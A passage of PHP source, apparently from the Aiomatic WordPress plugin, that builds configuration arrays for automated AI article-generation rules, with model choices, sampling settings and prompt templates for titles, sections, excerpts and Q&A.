'';//headings $inner_arr[] = '';//images $inner_arr[] = '';//videos $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//headings_list $inner_arr[] = '';//images_list $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = 'gpt-4o-mini';//title_model $inner_arr[] = '';//title_ai_command $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = 'keyword';//title_source $inner_arr[] = '';//headings_ai_command $inner_arr[] = 'gpt-4o-mini';//headings_model $inner_arr[] = 'topic';//posting_mode $inner_arr[] = $post_data['post_topic_list'];//post_topic_list $inner_arr[] = $post_data['post_sections_list'];//post_sections_list $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['sections_prompt'];//sections_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['section_count'];//section_count $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_sections_model'];//topic_sections_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['single_content_call'];//single_content_call $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = $post_data['img_all_headings'];//img_all_headings $inner_arr[] = $post_data['heading_img_location'];//heading_img_location $inner_arr[] = '';//days_no_run $inner_arr[] = '';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = $post_data['title_generator_method'];//title_generator_method $inner_arr[] = '';//parent_id $inner_arr[] = uniqid();//rule_unique_id $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 0; } elseif($selected == '1a-') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = $post_data['post_title'];//post_title $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '500';//min_char $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = '';//ai_command $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = '';//max_continue_tokens $inner_arr[] = '';//model $inner_arr[] = '';//headings $inner_arr[] = '';//images $inner_arr[] = '';//videos $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//headings_list $inner_arr[] = '';//images_list $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = 'gpt-4o-mini';//title_model $inner_arr[] = '';//title_ai_command $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = 'keyword';//title_source $inner_arr[] = '';//headings_ai_command $inner_arr[] = 'gpt-4o-mini';//headings_model $inner_arr[] = 'topic';//posting_mode $inner_arr[] = '';//post_topic_list $inner_arr[] = $post_data['post_sections_list'];//post_sections_list $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['sections_prompt'];//sections_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['section_count'];//section_count $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_sections_model'];//topic_sections_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['single_content_call'];//single_content_call $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = $post_data['img_all_headings'];//img_all_headings $inner_arr[] = $post_data['heading_img_location'];//heading_img_location $inner_arr[] = '';//days_no_run $inner_arr[] = '';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = $post_data['title_generator_method'];//title_generator_method $inner_arr[] = '';//parent_id $inner_arr[] = uniqid();//rule_unique_id $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 0; } elseif($selected == '1b') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = $post_data['post_title'];//post_title $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = $post_data['min_char'];//min_char $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = $post_data['ai_command'];//ai_command $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = $post_data['max_continue_tokens'];//max_continue_tokens $inner_arr[] = $post_data['model'];//model $inner_arr[] = $post_data['headings'];//headings $inner_arr[] = $post_data['images'];//images $inner_arr[] = $post_data['videos'];//videos $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = $post_data['headings_list'];//headings_list $inner_arr[] = $post_data['images_list'];//images_list $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['title_model'];//title_model $inner_arr[] = $post_data['title_ai_command'];//title_ai_command $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = $post_data['title_source'];//title_source $inner_arr[] = $post_data['headings_ai_command'];//headings_ai_command $inner_arr[] = $post_data['headings_model'];//headings_model $inner_arr[] = 'title';//posting_mode $inner_arr[] = '';//post_topic_list $inner_arr[] = '';//post_sections_list $inner_arr[] = 'English';//content_language $inner_arr[] = 'Creative';//writing_style $inner_arr[] = 'Neutral';//writing_tone $inner_arr[] = 'Write a title for an article about \"%%topic%%\" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.';//title_prompt $inner_arr[] = 'Write %%sections_count%% consecutive headings for an article about \"%%title%%\" that highlight specific aspects, provide detailed insights and specific recommendations. The headings must be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Don\'t add numbers to the headings, hyphens or any types of quotes. Return only the headings list, nothing else.';//sections_prompt $inner_arr[] = 'Write the content of a post section for the heading \"%%current_section%%\" in %%language%%. The title of the post is: \"%%title%%\". Don\'t add the title at the beginning of the created content. Be creative and unique. Don\'t repeat the heading in the created content. Don\'t add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Writing Style: %%writing_style%%. Tone: %%writing_tone%%.';//content_prompt $inner_arr[] = 'Write a short excerpt for an article about \"%%title%%\" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters.';//excerpt_prompt $inner_arr[] = '3-4';//section_count $inner_arr[] = '2';//paragraph_count $inner_arr[] = 'gpt-4o-mini';//topic_title_model $inner_arr[] = 'gpt-4o-mini';//topic_sections_model $inner_arr[] = 'gpt-4o-mini';//topic_content_model $inner_arr[] = 'gpt-4o-mini';//topic_excerpt_model $inner_arr[] = '0';//single_content_call $inner_arr[] = 'Craft an introduction for an article about \"%%title%%\", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.';//intro_prompt $inner_arr[] = 'gpt-4o-mini';//topic_intro_model $inner_arr[] = 'Write an outro for an article about \"%%title%%\", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.';//outro_prompt $inner_arr[] = 'gpt-4o-mini';//topic_outro_model $inner_arr[] = '';//topic_images $inner_arr[] = 'h2';//sections_role $inner_arr[] = '';//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = '';//strip_by_regex_prompts $inner_arr[] = '';//replace_regex_prompts $inner_arr[] = 'content';//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = '0';//enable_toc $inner_arr[] = 'Table of Contents';//title_toc $inner_arr[] = 'Write a Q&A for an article about \"%%title%%\", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.';//qa_prompt $inner_arr[] = 'gpt-4o-mini';//topic_qa_model $inner_arr[] = '0';//enable_qa $inner_arr[] = 'Q&A';//title_qa $inner_arr[] = 'In Conclusion';//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = '1';//img_all_headings $inner_arr[] = 'top';//heading_img_location $inner_arr[] = '';//days_no_run $inner_arr[] = '';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = 'ai';//title_generator_method $inner_arr[] = '';//parent_id $inner_arr[] = uniqid();//rule_unique_id $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 0; } elseif($selected == '2') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = $post_data['url_list'];//url_list $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = $post_data['max_continue_tokens'];//max_continue_tokens $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = $post_data['default_lang'];//default_lang $inner_arr[] = $post_data['ai_titles'];//ai_titles $inner_arr[] = $post_data['post_sections_list'];//post_sections_list $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['sections_prompt'];//sections_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['section_count'];//section_count $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_sections_model'];//topic_sections_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['single_content_call'];//single_content_call $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['max_caption'];//max_caption $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = $post_data['img_all_headings'];//img_all_headings $inner_arr[] = $post_data['heading_img_location'];//heading_img_location $inner_arr[] = '';//days_no_run $inner_arr[] = $post_data['no_random'];//no_random $inner_arr[] = '0';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = '';//parent_id $inner_arr[] = uniqid();//rule_unique_id $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 1; } elseif($selected == '3') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = $post_data['amazon_keyword'];//url_list $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = $post_data['max_continue_tokens'];//max_continue_tokens $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = $post_data['affiliate_id'];//affiliate_id $inner_arr[] = $post_data['first_hand'];//first_hand $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['max_products'];//max_products $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['target_country'];//target_country $inner_arr[] = $post_data['min_price'];//min_price $inner_arr[] = $post_data['max_price'];//max_price $inner_arr[] = $post_data['sort_results'];//sort_results $inner_arr[] = $post_data['shuffle_products'];//shuffle_products $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = '';//days_no_run $inner_arr[] = '0';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = '';//parent_id $inner_arr[] = uniqid();//rule_unique_id $inner_arr[] = $post_data['no_headlink'];//no_headlink $inner_arr[] = $post_data['enable_table'];//enable_table $inner_arr[] = $post_data['table_prompt'];//table_prompt $inner_arr[] = $post_data['topic_table_model'];//topic_table_model $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 2; } elseif($selected == '4') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = $post_data['review_keyword'];//review_keyword $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = $post_data['max_continue_tokens'];//max_continue_tokens $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = $post_data['affiliate_id'];//affiliate_id $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['target_country'];//target_country $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = 